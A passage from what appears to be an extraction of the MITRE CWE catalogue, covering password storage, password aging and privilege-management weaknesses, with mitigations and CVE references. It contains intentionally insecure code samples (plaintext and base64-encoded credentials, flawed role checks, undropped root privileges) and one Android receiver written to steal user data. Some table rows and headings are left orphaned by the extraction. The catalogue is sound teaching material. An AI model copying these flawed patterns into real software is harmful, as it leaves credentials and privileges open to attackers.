For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Maintenance Notes

This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. See extended description.

CWE-260: Password in Configuration File

Weakness ID: 260 (Weakness Variant) **Status:** Incomplete

Description

Summary

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control

Gain privileges / assume identity

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file.

Java Example:

Bad Code

```
webapp.ldap.username = secretUsername
webapp.ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

Potential Mitigations

Architecture and Design

Avoid storing passwords in easily accessible locations.

Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

CWE-261: Weak Cryptography for Passwords

Weakness ID: 261 (*Weakness Variant*)

Status: Incomplete

Description

Summary

Obscuring a password with a trivial encoding does not protect the password.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Java Example:

Bad Code

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

C# Example:

Bad Code

```
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = new NetworkCredential(username, decVal.toString(), domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

Other Notes

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

CWE-262: Not Using Password Aging

Weakness ID: 262 (Weakness Variant)

Status: Draft

Description

Summary

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

As passwords age, the probability that they are compromised grows.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

A common example is not having a system to terminate old employee accounts.

Example 2:

Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations

Architecture and Design

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a password aging mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

CWE-263: Password Aging with Long Expiration

Weakness ID: 263 (Weakness Base)

Status: Draft

Description

Summary

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

Extended Description

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

As passwords age, the probability that they are compromised grows.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

A common example is not having a system to terminate old employee accounts.

Example 2:

Not having a system for enforcing the changing of passwords every certain period.

Potential Mitigations

Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

ParentOf	V	766	Critical Variable Declared Public	699	1155
ParentOf	V	767	Access to Critical Private Variable via Public Method	699	1156

Relationship Notes

This can strongly overlap authorization errors.

Research Gaps

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Theoretical Notes

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

It could be argued that any privilege problem occurs within the context of a sandbox.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege / sandbox errors

CWE-266: Incorrect Privilege Assignment

Weakness ID: 266 (*Weakness Base*)

Status: Draft

Description

Summary

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples

Example 1:

Evidence of privilege change:

C Example:

Bad Code

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Java Example:

Bad Code

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
})
```

Example 2:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Java Example:

Bad Code

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Java Example:

Attack

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Observed Examples

Reference	Description
CVE-1999-1193	untrusted user placed in unix "wheel" group
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges.
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.266.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-267: Privilege Defined With Unsafe Actions

Weakness ID: 267 (Weakness Base)

Status: Incomplete

Description

Summary

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.

Demonstrative Examples

This code intends to allow only Administrators to print debug information about a system.

Java Example:

Bad Code

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Observed Examples

Reference	Description
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
CVE-2000-1212	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).
CVE-2001-1166	User with debugging rights can read entire process (Unsafe privileged actions).
CVE-2001-1480	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).
CVE-2001-1551	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).

Reference	Description
CVE-2002-1145	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).
CVE-2002-1154	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities).
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities).
CVE-2002-2042	Allows attachment to and modification of privileged processes (Unsafe privileged actions).
CVE-2004-0380	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).
CVE-2004-2204	Gain privileges using functions/tags that should be restricted (Accessible entities).
CVE-2005-1742	Inappropriate actions allowed by a particular role(Unsafe privileged actions).
CVE-2005-1816	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).
CVE-2005-2027	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).
CVE-2005-2173	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.267.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

Maintenance Notes

This overlaps authorization and access control problems.

Note: there are 2 separate sub-categories here:

- privilege incorrectly allows entities to perform certain actions
- object is incorrectly accessible to entities with a given privilege

CWE-268: Privilege Chaining

Weakness ID: 268 (Weakness Base)

Status: Draft

Description

Summary

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.

Likelihood of Exploit

High

Demonstrative Examples

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Java Example:

Bad Code

```
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}
public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user,password);
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

Reference	Description
CVE-2002-1772	Gain certain rights via privilege chaining in alternate channel.
CVE-2003-0640	"operator" user can overwrite usernames and passwords to gain admin privileges.
CVE-2005-1736	Chaining of user rights.

Reference	Description
CVE-2005-1973	Application is allowed to assign extra permissions to itself.

Potential Mitigations

Architecture and Design

Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.268.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-270: Privilege Context Switching Error

Weakness ID: 270 (*Weakness Base*)

Status: Draft

Description

Summary

The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.

Observed Examples

Reference	Description
CVE-2002-1688	Web browser cross domain problem when user hits "back" button.
CVE-2002-1770	Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.
CVE-2003-1026	Web browser cross domain problem when user hits "back" button.
CVE-2005-2263	Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.270.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-271: Privilege Dropping / Lowering Errors

Weakness ID: 271 (Weakness Class)

Status: Incomplete

Description**Summary**

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

Gain privileges / assume identity

Hide activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

High

Demonstrative Examples

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

C Example:

Bad Code

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Observed Examples

Reference	Description
CVE-1999-0813	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.
CVE-1999-1326	FTP server does not drop privileges if a connection is aborted during file transfer.
CVE-2000-0172	Program only uses <code>seteuid</code> to drop privileges.
CVE-2000-1213	Program does not drop privileges after acquiring the raw socket.
CVE-2001-0559	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.
CVE-2001-0787	Does not drop privileges in related groups when lowering privileges.
CVE-2001-1029	Does not drop privileges before determining access to certain files.
CVE-2002-0080	Does not drop privileges in related groups when lowering privileges.
CVE-2004-0213	Utility Manager launches <code>winhlp32.exe</code> while running with raised privileges, which allows local users to gain system privileges.
CVE-2004-0806	Setuid program does not drop privileges before executing program specified in an environment variable.
CVE-2004-0828	Setuid program does not drop privileges before processing file specified on command line.
CVE-2004-2070	Service on Windows does not drop privileges before using "view file" option, allowing code execution.
CVE-2004-2504	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).

Potential Mitigations

Architecture and Design Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Weakness Ordinalities

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

CWE-272: Least Privilege Violation

Weakness ID: 272 (Weakness Base) **Status:** Incomplete

Description

Summary

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

Time of Introduction

- Architecture and Design

- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Confidentiality

Gain privileges / assume identity

Read application data

Read files or directories

An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Compare binary / bytecode to application permission manifest

Dynamic Analysis with automated results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Permission Manifest Analysis

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

C Example:

Bad Code

```
setuid(0);  
// Do some important stuff  
setuid(old_uid);  
// Do some non privileged stuff.
```

Java Example:

Bad Code

```
method() {  
    AccessController.doPrivileged(new PrivilegedAction()) {  
        public Object run() {  
            // Insert all code here  
        }  
    };  
}
```

Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

C Example:

Bad Code

```
chroot(APP_HOME);  
chdir("/");  
FILE* data = fopen(argv[1], "r+");  
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Other Notes

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically. When a program calls a privileged function, such as `chroot()`, it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

CWE-273: Improper Check for Dropped Privileges

Weakness ID: 273 (Weakness Base)

Status: Incomplete

Description

Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

Gain privileges / assume identity

Hide activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

Medium

Demonstrative Examples

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

C++ Example:

Bad Code

```
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    ../
    RevertToSelf()
    ../
}
```

The call to `ImpersonateNamedPipeClient` may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

Observed Examples

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.

Potential Mitigations

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

High

Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Implementation

In Windows, make sure that the process token has the `SeImpersonatePrivilege` (Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

CERT C Secure Coding	POS37-C	Exact	Ensure that privilege relinquishment is successful
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-274: Improper Handling of Insufficient Privileges

Weakness ID: 274 (Weakness Base)

Status: Draft

Description

Summary

The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

Other

Alter execution logic

Observed Examples

Reference	Description
CVE-2001-1564	System limits are not properly enforced after privileges are dropped.
CVE-2005-1641	Does not give admin sufficient privileges to overcome otherwise legitimate user actions.
CVE-2005-3286	Firewall crashes when it can't read a critical memory block that was protected by a malicious process.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	699	459
ChildOf	C	269	Improper Privilege Management	1000	465
PeerOf	C	271	Privilege Dropping / Lowering Errors	1000	468
CanAlsoBe	B	280	Improper Handling of Insufficient Permissions or Privileges	1000	482
ChildOf	C	703	Improper Check or Handling of Exceptional Conditions	1000	1083
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1315
ChildOf	C	1011	Authorize Actors	1008	1407

Relationship Notes

Overlaps dropped privileges, insufficient permissions.

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient privileges

Maintenance Notes

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

CWE-275: Permission Issues

Category ID: 275 (Category) Status: Draft

Description

Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

Reference	Description
CVE-1999-0426	Default permissions of a device allow IP spoofing.
CVE-2001-0497	Insecure permissions for a shared secret key file. Overlaps cryptographic problem.

Reference	Description
CVE-2001-1550	World-writable log files allow information loss; world-readable file has cleartext passwords.
CVE-2002-1711	World-readable directory.
CVE-2002-1713	Home directories installed world-readable.
CVE-2002-1844	Windows product uses insecure permissions when installing on Solaris (genesis: port error).
CVE-2005-1941	Executables installed world-writable.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Weakness Ordinalities

CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID: 280 (*Weakness Base*)**Status:** Draft

Description

Summary

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

Other

Alter execution logic

Observed Examples

Reference	Description
CVE-2003-0501	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.
CVE-2004-0148	FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory.

Potential Mitigations

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

